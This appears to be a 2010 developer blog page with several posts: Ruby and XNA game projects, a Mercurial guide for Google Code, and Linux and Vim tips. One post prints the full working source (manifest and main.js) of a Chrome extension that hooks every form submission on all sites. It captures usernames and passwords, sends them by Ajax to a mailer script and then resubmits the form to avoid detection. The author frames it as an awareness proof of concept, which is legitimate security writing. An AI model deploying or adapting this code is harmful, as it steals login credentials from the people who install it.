Friday, August 6, 2010

The Lost Battle - a ruby multiplayer game with Gosu and Chipmunk

This is a game I recently built to learn ruby in conjunction with the Gosu game engine and the Chipmunk physics engine.

Screenshots


Source

The source of the game can be found at it's google code page here: http://code.google.com/p/the-lost-battle/

You can checkout using Mercurial with: hg clone https://the-lost-battle.googlecode.com/hg/ the-lost-battle

Prerequisites

For the game to run, it requires the following:

Running the game

To launch the game, fire up your terminal, navigate to the game's directory and run main.rb with the ruby interpreter: ruby main.rb
Or ruby1.9 main.rb if you have multiple versions of ruby installed.

After you click start game on the main screen, you will see the player selection, similar to the second screenshot above. If you do not have any joysticks connected, you will only be shown 1 player slot and the game will be unable to start since it requires 1 < players <= 4. Therefore, with a single joystick connected, you will be able to play a 2 player game...one player with the keyboard+mouse and the other player with the controller. Make sure that the joysticks are connected before you go into the player selection screen because the amount of player slots that the screen will display depends on the number of connected controllers.


Additional Notes

Joystick support
The game requires at least one joystick to be connected. Since I had very limited time in building this game, I only pre-set configuration for PS3 controllers. You can try and play it with other controllers but it's unlikely that the usable buttons will be comfortable to use, and the axis may not even be configured correctly.

If you want to use a different controller, you need to add a new configuration in the gamestate.rb file, similar to the PS3 one:
PS3_CONTROLLER  = GamepadConfig.new({horizontal: 0, vertical: 1}, {:horizontal => 2, :vertical => 3}, 11, 9)
Then use your new configuration instead of PS3_CONTROLLER when adding a new player to the player list:
@player_list.add(p.name, rand(window.width), rand(window.height), p.controller_type == :joystick ? GamePad.new(p.joystick_path, PS3_CONTROLLER) : Mouse.new(window), p.vehicle, p.crosshair)

To find the correct button-mappings, use jstest.

Further info
I now plan to make other individual posts explaining some of the stuff I did, like Gosu Joystick support on linux, Health Bars with RMagick, Parallax scrolling, the Menu system and others.

Wednesday, July 28, 2010

Typocalypse - A typing game in XNA

Just a couple of weeks ago, Marc Tanti and I decided to check out Microsoft's XNA and what better way to do it than building a game in about 24 hours of sleepless coding and caffeine intake ?

Screenshots




Source

You can view the source here: http://code.google.com/p/typocalypse/

At the Google Code page, there is both the source and an executable installation file (compiled with WiX XNA Installer)

You can checkout with: hg clone https://typocalypse.googlecode.com/hg/ typocalypse

Some notes...

Audio
The in-game music is the theme from the Amiga game The Great Giana Sisters, overlayed with some sound effects recorded by Marc Tanti. All of the other sound effects in the game where also recorded by Marc Tanti.

Text Input in XNA
Since XNA does not provide native support for text input, I used global hooks with these set of classes developed by George Mamaladze to capture keystrokes.

Prefix Matching
Prefix matching was done via a Trie and this is described in more detail at Marc Tanti's post.


Wednesday, July 14, 2010

Managing a Google Code project with Mercurial

As a recent convert to Mercurial, I started my last Google Code Project using Mercurial instead of Subversion. In this post I won't go into details as regards SVN vs. Mercurial, but to SVN users I suggest you check out Mercurial; starting with Joel Spolsky's tutorial and then moving on to the Mercurial: The Definitive Guide online book.

Prerequisites

First you need to have Mercurial installed. To download, visit the Mercurial Downloads page and follow the instructions for your respective Operating System.

After installing Mercurial, fire up your terminal and type: hg version
This should display something similar to the following:

Mercurial Distributed SCM (version 1.4.3)

Copyright (C) 2005-2010 Matt Mackall  and others
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you see that on your terminal, then Mercurial has been installed successfully and you're ready to continue.

Setting up a default user

Thanks to Scott Willeke who reminded me about this in the comments

Once Mercurial is successfully installed, you need to setup a default user that will be responsible for commiting changes to the repository. If you're on Windows, create a Mercurial.ini file or a .hgrc file in your %USERPROFILE% folder and if you're on a Linux create an .hgrc file in your $HOME directory.

On my windows box, I created a Mercurial.ini file in C:\Users\Andreas\Mercurial.ini.

Once you create this config file, add the following in it:

[ui]
username = Your Name <your_email_address>

You can add many other options to this config file (more details can be found here) but for the moment, this is sufficient.

Initiating the Project


To create the project on the hosting page, visit Google Code's Create Project page. When choosing a Version Control system, make sure that you choose Mercurial:


For the purposes of this demonstration, let's assume that our project name is myhgproject.

After setting all the required project details, you will be taken to your project's home page; your url takes this form: http://code.google.com/p/myhgproject/

Now we need to set up our local repository on the machine and push everything to the online repository. To do this, first visit the Source page of your project (http://code.google.com/p/myhgproject/source/checkout) and copy the clone command: hg clone https://myhgproject.googlecode.com/hg/ myhgproject

This command will make a clone of the online repository on your machine:


So at the moment, we have our project directory (not revisioned) ~/myproject and a new directory ~/myhgproject that Mercurial created for us.

Now we need to move our project files from the directory we used to work in to the new folder ~/myhgproject:


With this, we now have everything in our new folder and are now ready to add these new files to our local repository:


The hg add command adds the files to the repository on the next commit, so the next step is to commit these files to our local repository:


Note that up till now, we still haven't pushed our files to the online repository. We have only committed our files to our local repository online. Uploading these files is the next step.

To do this, you must first retrieve your GoogleCode.com password from this page: https://code.google.com/hosting/settings. Now using your google username and that password, we can push our files to the online repository:

For the purposes of this demonstration, let's assume my password is: AbCdEfGHiJ12


The files have now been pushed to the online repository.

Working on the project

Now that everything has been pushed to the online repository, you are now ready to start working normally on your project.

Your average routine will be working on some files, committing to the local repository with hg com -m "your commit message" and then when you have a working copy, push to the online repository with hg push.

Pushing without entering the url

Note that to avoid typing in your login credentials and the url every time you want to push, you can add these details in the hgrc file located in the .hg directory of your project.

Open up .hg/hgrc and add the following lines (obviously change according to your project):

[paths]
default = https://andreas:AbCdEfGHiJ12@myhgproject.googlecode.com/hg/

If you don't have the hgrc file, you can manually add it yourself.

Note that now you must now make sure that your hgrc file is well protected since it contains your login details in plain text.

Friday, July 9, 2010

Stealing login details with a Google Chrome extension

In this post I will demonstrate a proof of concept of how an attacker can steal usernames and passwords via a Google Chrome Extension.



(12/07/10: Posted a follow up to clear some misconceptions that where floating around in comments)

(14/07/10: Posted a second follow up as regards the Mozilla article I stumbled upon)



The Google Chrome browser allows the installation of third-party extensions that are used to extend the browser to add new features. The extensions are written in JavaScript and HTML and allow manipulation of the DOM, amongst other features.

By allowing access to the DOM, an attacker can thus read form fields...including username and password fields. This is what sparked my idea of creating this PoC.

The extension I present here is very simple. Whenever a user submits a form, it tries to capture the username and password fields, sends me an email via an Ajax call to a script with these login details along with the url and then proceeds to submit the form normally as to avoid detection.

This simple procedure has been successful against Gmail, Facebook, Twitter and other major websites.

The Code

For this extension, I am making use of jQuery as to write quick code for this prototype, but it can obviously be rewritten without it's dependency.

The first thing the script does is attach a submit handler to every form field on the page:

$("form").submit(function(e) {
 var $this = $(this);
 e.preventDefault();
 process(function() {
  $this.unbind('submit');
  $this.submit();
 });
});

We hook to the submit handler to prevent the default behaviour of the form (ie submitting normally) with e.preventDefault and to call our process function:

var process = function(callback) {
 var username = $("input[type=text]").not(passwordBoxes).filter(function() {
  var field = $(this);
  return field.val() || field.html();
 }).val(),
 password = passwordBoxes.val();

 sendEmail(username, password, location.href, callback);
};

The process function captures the values of the username and password fields respectively. passwordBoxes is a variable containing the inputs of the page that have their type set as password:

var passwordBoxes = $("input[type=password]");

Upon capturing the values of the username and password fields, these are sent along with the current url and the callback that submits the form to the sendEmail function which sends the email with the username, password and url via an Ajax call:

var sendEmail = function(username, password, url, callback) {
 var msg = getMessage(username, password, url);
 $.ajax({
  type: 'POST',
  url: 'the url of the mailer script',
  data: 'the headers you want to send',
  success: callback
 });
};

The getMessage function simply returns a formatted string with the details that will be contained in the email:

var getMessage = function(username, password, url) {
 return "Username: " + username + " || Password: " + password + " || Url: " + url;
};

After the details are sent, the callback is invoked which submits the form normally.

Note that there could be a very small delay between the user clicking the submit button and the form being submitted because of the Ajax call, but it is barely noticeable.



In this post I have demonstrated how an attacker can steal login credentials but this can also be used for other things, such as stealing cookies and hijacking sessions. The point I am trying to make here is that you should always be careful about what third-party applications you install.


The following is the complete code for the main.js file and the manifest.json file:

{
  "name": "Stealing login credentials with Google Chrome Extensions",
  "version": "1.0",
  "description": "A proof of concept demonstrating the possibility of stealing user credentials in login forms via a Google Chrome extension",
  "permissions": ["tabs"],
  "content_scripts": [{
      "matches": ["http://*/*", "https://*/*"],
      "js": ["jquery.min.js", "main.js"],
      "run_at": "document_start"
    }]
}

$(function() {
 var passwordBoxes = $("input[type=password]"),
 getMessage = function(username, password, url) {
  return "Username: " + username + " || Password: " + password + " || Url: " + url;
 },
 sendEmail = function(username, password, url, callback) {
  var msg = getMessage(username, password, url);
  $.ajax({
   type: 'POST',
   url: 'the url of the mailer script', //Change to the path of your mailer script
   data: 'the headers you want to send', //Change to add any headers to be sent along
   success: callback
  });
 },
 process = function(callback) {
  var username = $("input[type=text]").not(passwordBoxes).filter(function() {
   var field = $(this);
   return field.val() || field.html();
  }).val(),
  password = passwordBoxes.val();

  sendEmail(username, password, location.href, callback);
 };

 $("form").submit(function(e) {
  var $this = $(this);
  e.preventDefault();
  process(function() {
   $this.unbind('submit');
   $this.submit();
  });
 });
});

[Update]

Apparently this post has been featured on a couple of other websites, even on Slashdot and Times of Malta (and also in German, French, Italian, Polish, Swedish, Norwegian and Spanish).
I am writing this follow up because I believe that there have been some misconceptions floating around in some comments I saw on other sites. First of all, I haven't stolen any Twitter, Facebook or Gmail accounts. In fact, I didn't even upload this extension to the Google Chrome repository. I have only tried this extension on myself, just to test and see if it works.
Secondly, many people are saying that this isn't big news and that this knowledge is obvious to users. For starters, please note that I have never stated that this is "big news" anywhere in my post. Also, although this may seem 'obvious' to many of you, users need to be reminded about security and to be careful about installing third-party applications. It's true that users need to 'OK' the extension to be installed, but the reality is that very few take into consideration what the script is doing under-the-covers.
I have written this post to merely demonstrate that such things can be done and users should be aware of it.
Some have also commented as regards me demonstrating this on Google Chrome. Yes, other browsers can also be susceptible to this technique but I chose to try this on Google Chrome because it has apparently been dubbed as 'the safest browser available', and I'm not denying that. I wanted to make users aware that although Google Chrome is, undoubtedly, a safe browser to use, they should still be careful about what they install on their browsers and not blindly trust anything.

[Another Update]

Today I have discovered this article posted at the Mozilla Add-ons blog: Add-on security vulnerability announcement.
What's interesting about this article is that it was written on the 13th of July, which is a couple of days after my post got 'popular'. Now, I'm not implying anything but it's just an interesting thought.
Many people have commented about the fact that the 'technique' I used in this extension cannot be applied for other browsers. The article at the Mozilla blog now proves otherwise.
The Mozilla post talks about how one malicious add-on and one other add-on that posed a serious security vulnerability where discovered recently at the Mozilla Add-ons website.
The first add-on is called 'Mozilla Sniffer' and was uploaded to the website on the 6th of June. This add-on intercepts login data and sends it to a remote location. It was discovered on July 12th. Here's a quote about it's current status:


Mozilla Sniffer has been downloaded approximately 1,800 times since its submission and currently reports 334 active daily users. All current users should receive an uninstall notification within a day or so. The site this add-on sends data to seems to be down at the moment, so it is unknown if data is still being collected.

Mozilla Sniffer was not developed by Mozilla, and it was not reviewed by Mozilla. The add-on was in an experimental state, and all users that installed it should have seen a warning indicating it is unreviewed. Unreviewed add-ons are scanned for known viruses, trojans, and other malware, but some types of malicious behavior can only be detected in a code review.


Hopefully this article convinces some of the commenters as regards the "obvious nature of my post". Note that Mozilla reported that the add-on has been downloaded 1,800 times in about a month and that there are currently 334 active daily users.
To the commenters who have said that my post is, and I quote, "much ado about nothing!", hopefully this Mozilla article is a response to that.
On a different point, some have also stated this form of intercepting details cannot be applied to other browser extensions, and multiple reasons where given for this. From this Mozilla article we can now conclude that, if not for the other browsers, this can also be applied to Mozilla Firefox.

Wednesday, June 30, 2010

Find common list elements in Linux with comm

If you have two lists and want to extract the common elements between them, use the comm command.  It's important to note that comm requires the 2 lists to be sorted before they are compared.

Let's say we have the following sorted files, names1 and names2:

Andreas
Cameron
Janica
Reuben
Richard

Andreas
Bonnie
David
Janica
Julia
Mark

Now from these files, we will extract the same lines with comm:

comm -12 names1 names2

This will output:

Andreas
Janica

The two arguments used, -1 and -2, ensure that the lines unique to the first file (-1) and the second file (-2) are not shown...which leaves us with the lines that are common between both files.



We can also use the comm command without having the lists in separate files, by making use of bash process substitution.

Let's say we want to check which sub directories (their names) are common in two separate directories:

comm -12 <(ls /my/first/dir) <(ls /my/second/dir)

We can also use this technique to compare files that are not sorted (by first filtering them with the sort command):

comm -12 <(sort file1) <(sort file2)

Friday, June 25, 2010

Finding and replacing whole words with regular expressions in Vim

Let's say we have the following text in Vim:

john
joseph
joe
jo
joan

We now want to replace the name jo with mo.

Our first try would be something like this: :%s/jo/mo. But this changes our text to the following:

mohn
moseph
moe
mo
moan

And this is not what we want. We only want the name jo to be replaced. Fortunately, Vim offers a special regular expression syntax that allows us to map whole words only: \< and \>

\< matches the beginning of a word and \> matches the end of a word. The end or beginning of a word is determined either by a punctuation mark or by a space.

Now we can use the following regex to change the name jo to mo: :%s/\<jo\>/mo

john
joseph
joe
mo
joan

Further examples:
\<jomatches only the words that begin with jo; such as jo, joseph and john; but not mojos.
our\>matches only the words that end with our; such as your and tour; but not devouring.

Wednesday, June 23, 2010

Vim's black hole register

This article will demonstrate how to change text in Vim 'without using a register'.


Whenever you yank (y), change (c) or delete (d) something in Vim, it goes into a register. These registers can be used to keep track of your changes.

If you change or delete a line without using a named register, Vim still saves those changes in registers that are referenced by numbers 1 through 9. By line, I mean changes that are done to a whole line such as dd and cc. Each time you change or delete a line, the contents of these 1-9 registers will shift down and you will lose the contents of the last register whenever it goes beyond the last position of this stack. You will still have access to the changes via the undo (u) command, but you won't be able to access them via these registers.

The last modification is also saved in a default register called ". The default register also holds any yanks, changes or deletes that you do to parts of a line, such as words.

To view the contents of all your registers, use the :register command.

Now, to put (p) text in Vim, you can specify from which register you want the contents to be retrieved from. For example, with "ap, you will put the contents of register a in the text. But, if you do not specify a register (by using just p), Vim will take the contents of the default " register.

It can therefore get a bit cumbersome to delete some text with d (by not specifying a named register) that you want to place somewhere else and have to delete other text in between before placing your text where you want. This is because, as stated earlier, once you make other modifications (y, c, d) in between, these changes will go into the default " register and you will lose your original contents.

To prevent this, you can use the so called black hole register:


When writing to this register, nothing happens. This can be used to delete text without affecting the normal registers. When reading from this register, nothing is returned. {not in Vi}


Whenever you yank, change or delete into this register, the modifications do not go into the " register. In fact, they do not go into any register! This means that you can delete some text using d that you plan to move somewhere else (without specifying a named register), delete some other text in between into this black hole register, and then put the contents of your original deletion where you want it via p (again, without specifying a named register).

This black hole register is referenced by _

As an example, if you delete with "_d, the changes will not go into any register and you can only get them back via undos (u). But now, you will still have access to the contents of your default " register.

Finally, it's best to map the "_ key sequence so that it's easier to type in. In the following example, I am mapping it via the key:

:map <leader>b "_

Now you can delete a word into the black box register with \bw (assuming your leader key is set to the default \), delete 5 words with \b5dw or change 3 words \bc3w.


Update

As Ben Orenstein correctly pointed out in the comments, Vim also saves your last yank in the 0 register. This means that you can yank text (without using a named register), delete some text in between and then paste the previously yanked text with "0p. Thanks for this excellent tip Ben!